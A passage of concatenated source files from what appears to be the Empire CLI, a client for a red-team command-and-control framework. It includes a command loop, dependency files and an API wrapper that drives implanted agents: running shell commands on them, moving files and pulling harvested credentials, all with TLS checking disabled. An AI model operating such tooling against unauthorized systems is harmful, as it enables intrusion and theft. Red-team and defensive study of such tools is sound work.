239 print(f'No stager {cmd_line[1]}')
240 elif cmd_line[0] == 'interact' and len(cmd_line) > 1:
241 if cmd_line[1] in state.agents:
242 menu_state.push(self.menus['InteractMenu'], selected=cmd_line[1])
243 else:
244 print(f'No agent {cmd_line[1]}')
245 elif cmd_line[0] == 'useplugin' and len(cmd_line) > 1:
246 if cmd_line[1] in state.plugins:
247 menu_state.push(self.menus['UsePluginMenu'], selected=cmd_line[1])
248 else:
249 print(f'No plugin {cmd_line[1]}')
250 elif cmd_line[0] == 'usemodule' and len(cmd_line) > 1:
251 if cmd_line[1] in state.modules:
252 if menu_state.current_menu_name == 'InteractMenu':
253 menu_state.push(self.menus['UseModuleMenu'], selected=cmd_line[1],
254 agent=menu_state.current_menu.selected)
255 else:
256 menu_state.push(self.menus['UseModuleMenu'], selected=cmd_line[1])
257 else:
258 print(f'No module {cmd_line[1]}')
259 elif text == 'shell':
260 if menu_state.current_menu_name == 'InteractMenu':
261 menu_state.push(self.menus['ShellMenu'], selected=menu_state.current_menu.selected)
262 else:
263 pass
264 elif menu_state.current_menu_name == 'ShellMenu':
265 if text == 'exit':
266 menu_state.push(self.menus['InteractMenu'], selected=menu_state.current_menu.selected)
267 else:
268 menu_state.current_menu.shell(menu_state.current_menu.selected, text)
269 elif cmd_line[0] == 'report':
270 if len(cmd_line) > 1:
271 state.generate_report(cmd_line[1])
272 else:
273 state.generate_report('')
274 elif text == 'back':
275 menu_state.pop()
276 elif text == 'exit':
277 choice = input(print_util.color("[>] Exit? [y/N] ", "red"))
278 if choice.lower() == "y":
279 raise CliExitException
280 else:
281 pass
282 else:
283 func = None
284 try:
285 func = getattr(menu_state.current_menu if hasattr(menu_state.current_menu, cmd_line[0]) else self, cmd_line[0])
286 except:
287 pass
288
289 if func:
290 try:
291 args = self.strip(docopt(
292 func.__doc__,
293 argv=cmd_line[1:]
294 ))
295 new_args = {}
296 # todo casting for type hinted values?
297 for key, hint in get_type_hints(func).items():
298 # if args.get(key) is not None:
299 if key != 'return':
300 new_args[key] = args[key]
301 # print(new_args)
302 func(**new_args)
303 except Exception as e:
304 print(e)
305 pass
306 except SystemExit as e:
307 pass
308 elif not func and menu_state.current_menu_name == 'InteractMenu':
309 if cmd_line[0] in shortcut_handler.get_names(self.menus['InteractMenu'].agent_language):
310 menu_state.current_menu.execute_shortcut(cmd_line[0], cmd_line[1:])
311
312
313 if __name__ == "__main__":
314 try:
315 empire = EmpireCli()
316 empire.main()
317 finally:
318 state.shutdown()
0 [[package]]
1 name = "certifi"
2 version = "2020.6.20"
3 description = "Python package for providing Mozilla's CA Bundle."
4 category = "main"
5 optional = false
6 python-versions = "*"
7
8 [[package]]
9 name = "chardet"
10 version = "3.0.4"
11 description = "Universal encoding detector for Python 2 and 3"
12 category = "main"
13 optional = false
14 python-versions = "*"
15
16 [[package]]
17 name = "docopt"
18 version = "0.6.2"
19 description = "Pythonic argument parser, that will make you smile"
20 category = "main"
21 optional = false
22 python-versions = "*"
23
24 [[package]]
25 name = "flake8"
26 version = "3.8.4"
27 description = "the modular source code checker: pep8 pyflakes and co"
28 category = "dev"
29 optional = false
30 python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,>=2.7"
31
32 [package.dependencies]
33 importlib-metadata = {version = "*", markers = "python_version < \"3.8\""}
34 mccabe = ">=0.6.0,<0.7.0"
35 pycodestyle = ">=2.6.0a1,<2.7.0"
36 pyflakes = ">=2.2.0,<2.3.0"
37
38 [[package]]
39 name = "humanize"
40 version = "3.2.0"
41 description = "Python humanize utilities"
42 category = "main"
43 optional = false
44 python-versions = ">=3.6"
45
46 [package.extras]
47 tests = ["freezegun", "pytest", "pytest-cov"]
48
49 [[package]]
50 name = "idna"
51 version = "2.10"
52 description = "Internationalized Domain Names in Applications (IDNA)"
53 category = "main"
54 optional = false
55 python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
56
57 [[package]]
58 name = "importlib-metadata"
59 version = "2.0.0"
60 description = "Read metadata from Python packages"
61 category = "dev"
62 optional = false
63 python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7"
64
65 [package.dependencies]
66 zipp = ">=0.5"
67
68 [package.extras]
69 docs = ["sphinx", "rst.linker"]
70 testing = ["packaging", "pep517", "importlib-resources (>=1.3)"]
71
72 [[package]]
73 name = "mccabe"
74 version = "0.6.1"
75 description = "McCabe checker, plugin for flake8"
76 category = "dev"
77 optional = false
78 python-versions = "*"
79
80 [[package]]
81 name = "prompt-toolkit"
82 version = "3.0.8"
83 description = "Library for building powerful interactive command lines in Python"
84 category = "main"
85 optional = false
86 python-versions = ">=3.6.1"
87
88 [package.dependencies]
89 wcwidth = "*"
90
91 [[package]]
92 name = "pycodestyle"
93 version = "2.6.0"
94 description = "Python style guide checker"
95 category = "dev"
96 optional = false
97 python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
98
99 [[package]]
100 name = "pyflakes"
101 version = "2.2.0"
102 description = "passive checker of Python programs"
103 category = "dev"
104 optional = false
105 python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
106
107 [[package]]
108 name = "python-engineio"
109 version = "3.13.2"
110 description = "Engine.IO server"
111 category = "main"
112 optional = false
113 python-versions = "*"
114
115 [package.dependencies]
116 six = ">=1.9.0"
117
118 [package.extras]
119 asyncio_client = ["aiohttp (>=3.4)"]
120 client = ["requests (>=2.21.0)", "websocket-client (>=0.54.0)"]
121
122 [[package]]
123 name = "python-socketio"
124 version = "4.6.1"
125 description = "Socket.IO server"
126 category = "main"
127 optional = false
128 python-versions = "*"
129
130 [package.dependencies]
131 python-engineio = ">=3.13.0,<4"
132 requests = {version = ">=2.21.0", optional = true, markers = "extra == \"client\""}
133 six = ">=1.9.0"
134 websocket-client = {version = ">=0.54.0", optional = true, markers = "extra == \"client\""}
135
136 [package.extras]
137 asyncio_client = ["aiohttp (>=3.4)", "websockets (>=7.0)"]
138 client = ["requests (>=2.21.0)", "websocket-client (>=0.54.0)"]
139
140 [[package]]
141 name = "pyyaml"
142 version = "5.3.1"
143 description = "YAML parser and emitter for Python"
144 category = "main"
145 optional = false
146 python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
147
148 [[package]]
149 name = "requests"
150 version = "2.24.0"
151 description = "Python HTTP for Humans."
152 category = "main"
153 optional = false
154 python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
155
156 [package.dependencies]
157 certifi = ">=2017.4.17"
158 chardet = ">=3.0.2,<4"
159 idna = ">=2.5,<3"
160 urllib3 = ">=1.21.1,<1.25.0 || >1.25.0,<1.25.1 || >1.25.1,<1.26"
161
162 [package.extras]
163 security = ["pyOpenSSL (>=0.14)", "cryptography (>=1.3.4)"]
164 socks = ["PySocks (>=1.5.6,<1.5.7 || >1.5.7)", "win-inet-pton"]
165
166 [[package]]
167 name = "six"
168 version = "1.15.0"
169 description = "Python 2 and 3 compatibility utilities"
170 category = "main"
171 optional = false
172 python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*"
173
174 [[package]]
175 name = "terminaltables"
176 version = "3.1.0"
177 description = "Generate simple tables in terminals from a nested list of strings."
178 category = "main"
179 optional = false
180 python-versions = "*"
181
182 [[package]]
183 name = "urllib3"
184 version = "1.25.11"
185 description = "HTTP library with thread-safe connection pooling, file post, and more."
186 category = "main"
187 optional = false
188 python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, <4"
189
190 [package.extras]
191 brotli = ["brotlipy (>=0.6.0)"]
192 secure = ["pyOpenSSL (>=0.14)", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "certifi", "ipaddress"]
193 socks = ["PySocks (>=1.5.6,<1.5.7 || >1.5.7,<2.0)"]
194
195 [[package]]
196 name = "wcwidth"
197 version = "0.2.5"
198 description = "Measures the displayed width of unicode strings in a terminal"
199 category = "main"
200 optional = false
201 python-versions = "*"
202
203 [[package]]
204 name = "websocket-client"
205 version = "0.57.0"
206 description = "WebSocket client for Python. hybi13 is supported."
207 category = "main"
208 optional = false
209 python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
210
211 [package.dependencies]
212 six = "*"
213
214 [[package]]
215 name = "zipp"
216 version = "3.3.1"
217 description = "Backport of pathlib-compatible object wrapper for zip files"
218 category = "dev"
219 optional = false
220 python-versions = ">=3.6"
221
222 [package.extras]
223 docs = ["sphinx", "jaraco.packaging (>=3.2)", "rst.linker (>=1.9)"]
224 testing = ["pytest (>=3.5,<3.7.3 || >3.7.3)", "pytest-checkdocs (>=1.2.3)", "pytest-flake8", "pytest-cov", "jaraco.test (>=3.2.0)", "jaraco.itertools", "func-timeout", "pytest-black (>=0.3.7)", "pytest-mypy"]
225
226 [metadata]
227 lock-version = "1.1"
228 python-versions = "^3.7"
229 content-hash = "93ea89dc68f8424a78e2cdc3f2cbc8bb162d530727e97147943c5b8e4956ad96"
230
231 [metadata.files]
232 certifi = [
233 {file = "certifi-2020.6.20-py2.py3-none-any.whl", hash = "sha256:8fc0819f1f30ba15bdb34cceffb9ef04d99f420f68eb75d901e9560b8749fc41"},
234 {file = "certifi-2020.6.20.tar.gz", hash = "sha256:5930595817496dd21bb8dc35dad090f1c2cd0adfaf21204bf6732ca5d8ee34d3"},
235 ]
236 chardet = [
237 {file = "chardet-3.0.4-py2.py3-none-any.whl", hash = "sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691"},
238 {file = "chardet-3.0.4.tar.gz", hash = "sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae"},
239 ]
240 docopt = [
241 {file = "docopt-0.6.2.tar.gz", hash = "sha256:49b3a825280bd66b3aa83585ef59c4a8c82f2c8a522dbe754a8bc8d08c85c491"},
242 ]
243 flake8 = [
244 {file = "flake8-3.8.4-py2.py3-none-any.whl", hash = "sha256:749dbbd6bfd0cf1318af27bf97a14e28e5ff548ef8e5b1566ccfb25a11e7c839"},
245 {file = "flake8-3.8.4.tar.gz", hash = "sha256:aadae8761ec651813c24be05c6f7b4680857ef6afaae4651a4eccaef97ce6c3b"},
246 ]
247 humanize = [
248 {file = "humanize-3.2.0-py3-none-any.whl", hash = "sha256:d47d80cd47c1511ed3e49ca5f10c82ed940ea020b45b49ab106ed77fa8bb9d22"},
249 {file = "humanize-3.2.0.tar.gz", hash = "sha256:ab69004895689951b79f2ae4fdd6b8127ff0c180aff107856d5d98119a33f026"},
250 ]
251 idna = [
252 {file = "idna-2.10-py2.py3-none-any.whl", hash = "sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0"},
253 {file = "idna-2.10.tar.gz", hash = "sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6"},
254 ]
255 importlib-metadata = [
256 {file = "importlib_metadata-2.0.0-py2.py3-none-any.whl", hash = "sha256:cefa1a2f919b866c5beb7c9f7b0ebb4061f30a8a9bf16d609b000e2dfaceb9c3"},
257 {file = "importlib_metadata-2.0.0.tar.gz", hash = "sha256:77a540690e24b0305878c37ffd421785a6f7e53c8b5720d211b211de8d0e95da"},
258 ]
259 mccabe = [
260 {file = "mccabe-0.6.1-py2.py3-none-any.whl", hash = "sha256:ab8a6258860da4b6677da4bd2fe5dc2c659cff31b3ee4f7f5d64e79735b80d42"},
261 {file = "mccabe-0.6.1.tar.gz", hash = "sha256:dd8d182285a0fe56bace7f45b5e7d1a6ebcbf524e8f3bd87eb0f125271b8831f"},
262 ]
263 prompt-toolkit = [
264 {file = "prompt_toolkit-3.0.8-py3-none-any.whl", hash = "sha256:7debb9a521e0b1ee7d2fe96ee4bd60ef03c6492784de0547337ca4433e46aa63"},
265 {file = "prompt_toolkit-3.0.8.tar.gz", hash = "sha256:25c95d2ac813909f813c93fde734b6e44406d1477a9faef7c915ff37d39c0a8c"},
266 ]
267 pycodestyle = [
268 {file = "pycodestyle-2.6.0-py2.py3-none-any.whl", hash = "sha256:2295e7b2f6b5bd100585ebcb1f616591b652db8a741695b3d8f5d28bdc934367"},
269 {file = "pycodestyle-2.6.0.tar.gz", hash = "sha256:c58a7d2815e0e8d7972bf1803331fb0152f867bd89adf8a01dfd55085434192e"},
270 ]
271 pyflakes = [
272 {file = "pyflakes-2.2.0-py2.py3-none-any.whl", hash = "sha256:0d94e0e05a19e57a99444b6ddcf9a6eb2e5c68d3ca1e98e90707af8152c90a92"},
273 {file = "pyflakes-2.2.0.tar.gz", hash = "sha256:35b2d75ee967ea93b55750aa9edbbf72813e06a66ba54438df2cfac9e3c27fc8"},
274 ]
275 python-engineio = [
276 {file = "python-engineio-3.13.2.tar.gz", hash = "sha256:36b33c6aa702d9b6a7f527eec6387a2da1a9a24484ec2f086d76576413cef04b"},
277 {file = "python_engineio-3.13.2-py2.py3-none-any.whl", hash = "sha256:cfded18156862f94544a9f8ef37f56727df731c8552d7023f5afee8369be2db6"},
278 ]
279 python-socketio = [
280 {file = "python-socketio-4.6.1.tar.gz", hash = "sha256:cd1f5aa492c1eb2be77838e837a495f117e17f686029ebc03d62c09e33f4fa10"},
281 {file = "python_socketio-4.6.1-py2.py3-none-any.whl", hash = "sha256:5a21da53fdbdc6bb6c8071f40e13d100e0b279ad997681c2492478e06f370523"},
282 ]
283 pyyaml = [
284 {file = "PyYAML-5.3.1-cp27-cp27m-win32.whl", hash = "sha256:74809a57b329d6cc0fdccee6318f44b9b8649961fa73144a98735b0aaf029f1f"},
285 {file = "PyYAML-5.3.1-cp27-cp27m-win_amd64.whl", hash = "sha256:240097ff019d7c70a4922b6869d8a86407758333f02203e0fc6ff79c5dcede76"},
286 {file = "PyYAML-5.3.1-cp35-cp35m-win32.whl", hash = "sha256:4f4b913ca1a7319b33cfb1369e91e50354d6f07a135f3b901aca02aa95940bd2"},
287 {file = "PyYAML-5.3.1-cp35-cp35m-win_amd64.whl", hash = "sha256:cc8955cfbfc7a115fa81d85284ee61147059a753344bc51098f3ccd69b0d7e0c"},
288 {file = "PyYAML-5.3.1-cp36-cp36m-win32.whl", hash = "sha256:7739fc0fa8205b3ee8808aea45e968bc90082c10aef6ea95e855e10abf4a37b2"},
289 {file = "PyYAML-5.3.1-cp36-cp36m-win_amd64.whl", hash = "sha256:69f00dca373f240f842b2931fb2c7e14ddbacd1397d57157a9b005a6a9942648"},
290 {file = "PyYAML-5.3.1-cp37-cp37m-win32.whl", hash = "sha256:d13155f591e6fcc1ec3b30685d50bf0711574e2c0dfffd7644babf8b5102ca1a"},
291 {file = "PyYAML-5.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:73f099454b799e05e5ab51423c7bcf361c58d3206fa7b0d555426b1f4d9a3eaf"},
292 {file = "PyYAML-5.3.1-cp38-cp38-win32.whl", hash = "sha256:06a0d7ba600ce0b2d2fe2e78453a470b5a6e000a985dd4a4e54e436cc36b0e97"},
293 {file = "PyYAML-5.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:95f71d2af0ff4227885f7a6605c37fd53d3a106fcab511b8860ecca9fcf400ee"},
294 {file = "PyYAML-5.3.1.tar.gz", hash = "sha256:b8eac752c5e14d3eca0e6dd9199cd627518cb5ec06add0de9d32baeee6fe645d"},
295 ]
296 requests = [
297 {file = "requests-2.24.0-py2.py3-none-any.whl", hash = "sha256:fe75cc94a9443b9246fc7049224f75604b113c36acb93f87b80ed42c44cbb898"},
298 {file = "requests-2.24.0.tar.gz", hash = "sha256:b3559a131db72c33ee969480840fff4bb6dd111de7dd27c8ee1f820f4f00231b"},
299 ]
300 six = [
301 {file = "six-1.15.0-py2.py3-none-any.whl", hash = "sha256:8b74bedcbbbaca38ff6d7491d76f2b06b3592611af620f8426e82dddb04a5ced"},
302 {file = "six-1.15.0.tar.gz", hash = "sha256:30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259"},
303 ]
304 terminaltables = [
305 {file = "terminaltables-3.1.0.tar.gz", hash = "sha256:f3eb0eb92e3833972ac36796293ca0906e998dc3be91fbe1f8615b331b853b81"},
306 ]
307 urllib3 = [
308 {file = "urllib3-1.25.11-py2.py3-none-any.whl", hash = "sha256:f5321fbe4bf3fefa0efd0bfe7fb14e90909eb62a48ccda331726b4319897dd5e"},
309 {file = "urllib3-1.25.11.tar.gz", hash = "sha256:8d7eaa5a82a1cac232164990f04874c594c9453ec55eef02eab885aa02fc17a2"},
310 ]
311 wcwidth = [
312 {file = "wcwidth-0.2.5-py2.py3-none-any.whl", hash = "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784"},
313 {file = "wcwidth-0.2.5.tar.gz", hash = "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83"},
314 ]
315 websocket-client = [
316 {file = "websocket_client-0.57.0-py2.py3-none-any.whl", hash = "sha256:0fc45c961324d79c781bab301359d5a1b00b13ad1b10415a4780229ef71a5549"},
317 {file = "websocket_client-0.57.0.tar.gz", hash = "sha256:d735b91d6d1692a6a181f2a8c9e0238e5f6373356f561bb9dc4c7af36f452010"},
318 ]
319 zipp = [
320 {file = "zipp-3.3.1-py3-none-any.whl", hash = "sha256:16522f69653f0d67be90e8baa4a46d66389145b734345d68a257da53df670903"},
321 {file = "zipp-3.3.1.tar.gz", hash = "sha256:c1532a8030c32fd52ff6a288d855fe7adef5823ba1d26a29a68fd6314aa72baa"},
322 ]
0 [tool.poetry]
1 name = "empire-cli"
2 version = "0.1.0"
3 description = ""
4 authors = ["BC Security <[email protected]>"]
5 license = "MIT"
6
7 [tool.poetry.dependencies]
8 python = "^3.7"
9 terminaltables = "^3.1.0"
10 requests = "^2.24.0"
11 prompt-toolkit = "^3.0.8"
12 docopt = "^0.6.2"
13 python-socketio = {extras = ["client"], version = "^4.6.0"}
14 PyYAML = "^5.3.1"
15 humanize = "^3.2.0"
16
17 [tool.poetry.dev-dependencies]
18 flake8 = "^3.8.4"
19
20 [build-system]
21 requires = ["poetry-core>=1.0.0"]
22 build-backend = "poetry.core.masonry.api"
0 from typing import Dict
1
2 import yaml
3
4
5 class EmpireCliConfig(object):
6 def __init__(self):
7 self.yaml: Dict = {}
8 with open("./config.yaml", 'r') as stream:
9 try:
10 self.yaml = yaml.safe_load(stream)
11 except yaml.YAMLError as exc:
12 print(exc)
13 self.yaml = {}
14
15
16 empire_config = EmpireCliConfig()
0 import json
1 from typing import Dict, Optional
2
3 import requests
4 import socketio
5
6 from src.menus import Menu
7 from src.utils import print_util
8
9
10 class EmpireCliState(object):
11 def __init__(self):
12 self.host = ''
13 self.port = ''
14 self.token = ''
15 self.sio: Optional[socketio.Client] = None
16 self.connected = False
17 self.menus = []
18
19 # These are cached values that can be used for autocompletes and other things.
20 # When switching menus, refresh these cached values by calling their respective 'get' functions.
21 # In the future, maybe we'll set a scheduled task to refresh this every n seconds/minutes?
22 self.listeners = {}
23 self.listener_types = []
24 self.stagers = {}
25 self.modules = {}
26 self.agents = {}
27 self.plugins = {}
28 self.me = {}
29 self.empire_version = ''
30
31 def register_menu(self, menu: Menu):
32 self.menus.append(menu)
33
34 def notify_connected(self):
35 print(print_util.color('[*] Calling connection handlers.'))
36 for menu in self.menus:
37 menu.on_connect()
38
39 def notify_disconnected(self):
40 for menu in self.menus:
41 menu.on_disconnect()
42
43 def connect(self, host, port, socketport, username, password):
44 self.host = host
45 self.port = port
46 try:
47 response = requests.post(url=f'{host}:{port}/api/admin/login',
48 json={'username': username, 'password': password},
49 verify=False)
50 except Exception as e:
51 return e
52
53 self.token = json.loads(response.content)['token']
54 self.connected = True
55
56 self.sio = socketio.Client(ssl_verify=False)
57 self.sio.connect(f'{host}:{socketport}?token={self.token}')
58
59 # Wait for version to be returned
60 self.empire_version = self.get_version()['version']
61
62 self.init()
63 self.init_handlers()
64 self.notify_connected()
65 print_util.title(self.empire_version, len(self.modules), len(self.listeners), len(self.agents))
66 return response
67
68 def init(self):
69 self.get_listeners()
70 self.get_listener_types()
71 self.get_stagers()
72 self.get_modules()
73 self.get_agents()
74 self.get_active_plugins()
75 self.get_user_me()
76
77 def init_handlers(self):
78 if self.sio:
79 self.sio.on('listeners/new',
80 lambda data: [print(print_util.color('[+] Listener ' + data['name'] + ' successfully started')),
81 self.get_listeners()])
82 self.sio.on('agents/new',
83 lambda data: [print(print_util.color('[+] New agent ' + data['name'] + ' checked in')),
84 self.get_agents()])
85
86 # Multiple checkin messages or a single one?
87 self.sio.on('agents/stage2', lambda data: print(
88 print_util.color('[*] Sending agent (stage 2) to ' + data['name'] + ' at ' + data['external_ip'])))
89
90 # Todo: need to only display results from the current agent and user. Otherwise there will be too many
91 # returns when you add more users self.sio.on('agents/task', lambda data: print(data['data']))
92
93 def disconnect(self):
94 self.host = ''
95 self.port = ''
96 self.token = ''
97 self.connected = False
98 self.notify_disconnected()
99
100 if self.sio:
101 self.sio.disconnect()
102
103 def shutdown(self):
104 self.disconnect()
105
106 # I think we we will break out the socketio handler and http requests to new classes that the state imports.
107 # This will do for this iteration.
108 def get_listeners(self):
109 response = requests.get(url=f'{self.host}:{self.port}/api/listeners',
110 verify=False,
111 params={'token': self.token})
112
113 self.listeners = {x['name']: x for x in json.loads(response.content)['listeners']}
114
115 return self.listeners
116
117 def get_version(self):
118 response = requests.get(url=f'{self.host}:{self.port}/api/version',
119 verify=False,
120 params={'token': self.token})
121
122 return json.loads(response.content)
123
124 def set_admin_options(self, options: Dict):
125 response = requests.post(url=f'{self.host}:{self.port}/api/admin/options',
126 json=options,
127 verify=False,
128 params={'token': self.token})
129
130 return json.loads(response.content)
131
132 def kill_listener(self, listener_name: str):
133 response = requests.delete(url=f'{self.host}:{self.port}/api/listeners/{listener_name}',
134 verify=False,
135 params={'token': self.token})
136
137 return json.loads(response.content)
138
139 def get_listener_types(self):
140 response = requests.get(url=f'{self.host}:{self.port}/api/listeners/types',
141 verify=False,
142 params={'token': self.token})
143
144 self.listener_types = json.loads(response.content)['types']
145
146 return self.listener_types
147
148 def get_listener_options(self, listener_type: str):
149 response = requests.get(url=f'{self.host}:{self.port}/api/listeners/options/{listener_type}',
150 verify=False,
151 params={'token': self.token})
152
153 return json.loads(response.content)
154
155 def create_listener(self, listener_type: str, options: Dict):
156 response = requests.post(url=f'{self.host}:{self.port}/api/listeners/{listener_type}',
157 json=options,
158 verify=False,
159 params={'token': self.token})
160
161 # todo push to state array or just call get_listeners() to refresh cache??
162
163 return json.loads(response.content)
164
165 def get_stagers(self):
166 # todo need error handling in all api requests
167 response = requests.get(url=f'{self.host}:{self.port}/api/stagers',
168 verify=False,
169 params={'token': self.token})
170
171 self.stagers = {x['Name']: x for x in json.loads(response.content)['stagers']}
172
173 return self.stagers
174
175 def create_stager(self, stager_name: str, options: Dict):
176 options['StagerName'] = stager_name
177 response = requests.post(url=f'{self.host}:{self.port}/api/stagers',
178 json=options,
179 verify=False,
180 params={'token': self.token})
181
182 return json.loads(response.content)
183
184 def get_agents(self):
185 response = requests.get(url=f'{self.host}:{self.port}/api/agents',
186 verify=False,
187 params={'token': self.token})
188
189 self.agents = {x['name']: x for x in json.loads(response.content)['agents']}
190
191 return self.agents
192
193 def get_modules(self):
194 response = requests.get(url=f'{self.host}:{self.port}/api/modules',
195 verify=False,
196 params={'token': self.token})
197
198 self.modules = {x['Name']: x for x in json.loads(response.content)['modules']}
199
200 return self.modules
201
202 def execute_module(self, module_name: str, options: Dict):
203 response = requests.post(url=f'{self.host}:{self.port}/api/modules/{module_name}',
204 json=options,
205 verify=False,
206 params={'token': self.token})
207
208 return json.loads(response.content)
209
210 def kill_agent(self, agent_name: str):
211 response = requests.post(url=f'{self.host}:{self.port}/api/agents/{agent_name}/kill',
212 verify=False,
213 params={'token': self.token})
214
215 return json.loads(response.content)
216
217 def remove_agent(self, agent_name: str):
218 response = requests.delete(url=f'{self.host}:{self.port}/api/agents/{agent_name}',
219 verify=False,
220 params={'token': self.token})
221
222 return json.loads(response.content)
223
224 def update_agent_comms(self, agent_name: str, listener_name: str):
225 response = requests.put(url=f'{self.host}:{self.port}/api/agents/{agent_name}/update_comms',
226 json={'listener': listener_name},
227 verify=False,
228 params={'token': self.token})
229
230 return json.loads(response.content)
231
232 def update_agent_killdate(self, agent_name: str, kill_date: str):
233 response = requests.put(url=f'{self.host}:{self.port}/api/agents/{agent_name}/killdate',
234 json={'kill_date': kill_date},
235 verify=False,
236 params={'token': self.token})
237
238 return json.loads(response.content)
239
240 def update_agent_working_hours(self, agent_name: str, working_hours: str):
241 response = requests.put(url=f'{self.host}:{self.port}/api/agents/{agent_name}/workinghours',
242 json={'working_hours': working_hours},
243 verify=False,
244 params={'token': self.token})
245
246 return json.loads(response.content)
247
248 def clear_agent(self, agent_name: str):
249 response = requests.post(url=f'{self.host}:{self.port}/api/agents/{agent_name}/clear',
250 verify=False,
251 params={'token': self.token})
252
253 return json.loads(response.content)
254
255 def rename_agent(self, agent_name: str, new_agent_name: str):
256 response = requests.post(url=f'{self.host}:{self.port}/api/agents/{agent_name}/rename',
257 json={'newname': new_agent_name},
258 verify=False,
259 params={'token': self.token})
260
261 return json.loads(response.content)
262
263 def agent_shell(self, agent_name, shell_cmd: str):
264 response = requests.post(url=f'{self.host}:{self.port}/api/agents/{agent_name}/shell',
265 json={'command': shell_cmd},
266 verify=False,
267 params={'token': self.token})
268
269 return json.loads(response.content)
270
271 def scrape_directory(self, agent_name):
272 response = requests.post(url=f'{self.host}:{self.port}/api/agents/{agent_name}/directory',
273 verify=False,
274 params={'token': self.token})
275
276 return json.loads(response.content)
277
278 def get_directory(self, agent_name):
279 response = requests.get(url=f'{self.host}:{self.port}/api/agents/{agent_name}/directory',
280 verify=False,
281 params={'token': self.token})
282
283 return json.loads(response.content)
284
285 def get_result(self, agent_name):
286 response = requests.get(url=f'{self.host}:{self.port}/api/agents/{agent_name}/results',
287 verify=False,
288 params={'token': self.token})
289
290 return json.loads(response.content)
291
292 def get_task_result(self, agent_name, task_id):
293 response = requests.get(url=f'{self.host}:{self.port}/api/agents/{agent_name}/task/{task_id}',
294 verify=False,
295 params={'token': self.token})
296
297 return json.loads(response.content)
298
299 def get_agent_result(self, agent_name):
300 response = requests.get(url=f'{self.host}:{self.port}/api/agents/{agent_name}/results',
301 verify=False,
302 params={'token': self.token})
303
304 return json.loads(response.content)
305
306 def get_credentials(self):
307 response = requests.get(url=f'{self.host}:{self.port}/api/creds',
308 verify=False,
309 params={'token': self.token})
310
311 return json.loads(response.content)['creds']
312
313 def generate_report(self, directory_location):
314 response = requests.post(url=f'{self.host}:{self.port}/api/reporting/generate',
315 verify=False,
316 json={'logo': directory_location},
317 params={'token': self.token})
318
319 return json.loads(response.content)
320
321 def get_active_plugins(self):
322 response = requests.get(url=f'{self.host}:{self.port}/api/plugin/active',
323 verify=False,
324 params={'token': self.token})
325
326 self.plugins = {x['Name']: x for x in json.loads(response.content)['plugins']}
327
328 return self.plugins
329
330 def get_plugin(self, plugin_name):
331 response = requests.get(url=f'{self.host}:{self.port}/api/plugin/{plugin_name}',
332 verify=False,
333 params={'token': self.token})
334
335 return json.loads(response.content)
336
337 def execute_plugin(self, plugin_name, options: Dict):
338 response = requests.post(url=f'{self.host}:{self.port}/api/plugin/{plugin_name}',
339 json=options,
340 verify=False,
341 params={'token': self.token})
342
343 return json.loads(response.content)
344
345 def update_agent_notes(self, agent_name: str, notes: str):
346 response = requests.post(url=f'{self.host}:{self.port}/api/agents/{agent_name}/notes',
347 json=notes,
348 verify=False,
349 params={'token': self.token})
350
351 return json.loads(response.content)
352
353 def agent_upload_file(self, agent_name: str, file_name: str, file_data: bytes):
354 response = requests.post(url=f'{self.host}:{self.port}/api/agents/{agent_name}/upload',
355 json={'filename': file_name, 'data': file_data},
356 verify=False,
357 params={'token': self.token})
358
359 return json.loads(response.content)
360
361 def agent_download_file(self, agent_name: str, file_name: str):
362 response = requests.post(url=f'{self.host}:{self.port}/api/agents/{agent_name}/download',
363 json={'filename': file_name},
364 verify=False,
365 params={'token': self.token})
366
367 return json.loads(response.content)
368
369 def update_user_notes(self, username: str, notes: str):
370 response = requests.post(url=f'{self.host}:{self.port}/api/users/{username}/notes',
371 json=notes,
372 verify=False,
373 params={'token': self.token})
374
375 return json.loads(response.content)
376
377 def get_users(self):
378 response = requests.get(url=f'{self.host}:{self.port}/api/users',
379 verify=False,
380 params={'token': self.token})
381
382 return json.loads(response.content)
383
384 def create_user(self, new_user):
385 response = requests.post(url=f'{self.host}:{self.port}/api/users',
386 json=new_user,
387 verify=False,
388 params={'token': self.token})
389
390 return json.loads(response.content)
391
392 def disable_user(self, user_id: str, account_status: str):
393 response = requests.put(url=f'{self.host}:{self.port}/api/users/{user_id}/disable',
394 json=account_status,
395 verify=False,
396 params={'token': self.token})
397
398 return json.loads(response.content)
399
400 def get_user(self, user_id: str):
401 response = requests.get(url=f'{self.host}:{self.port}/api/users/{user_id}',
402 verify=False,
403 params={'token': self.token})
404
405 return json.loads(response.content)
406
407 def get_user_me(self):
408 response = requests.get(url=f'{self.host}:{self.port}/api/users/me',
409 verify=False,
410 params={'token': self.token})
411
412 self.me = json.loads(response.content)
413
414 return json.loads(response.content)
415
416
417 state = EmpireCliState()
0 from typing import Optional
1
2 from src.menus.MainMenu import main_menu
3 from src.menus.Menu import Menu
4
5
6 class MenuState:
7 """
8 Class for managing the applications menus.
9 """
10
11 def __init__(self, starting_menu: Menu):
12 self.current_menu: Optional[Menu] = None
13 self.menu_history = []
14 self.push(starting_menu)
15
16 @property
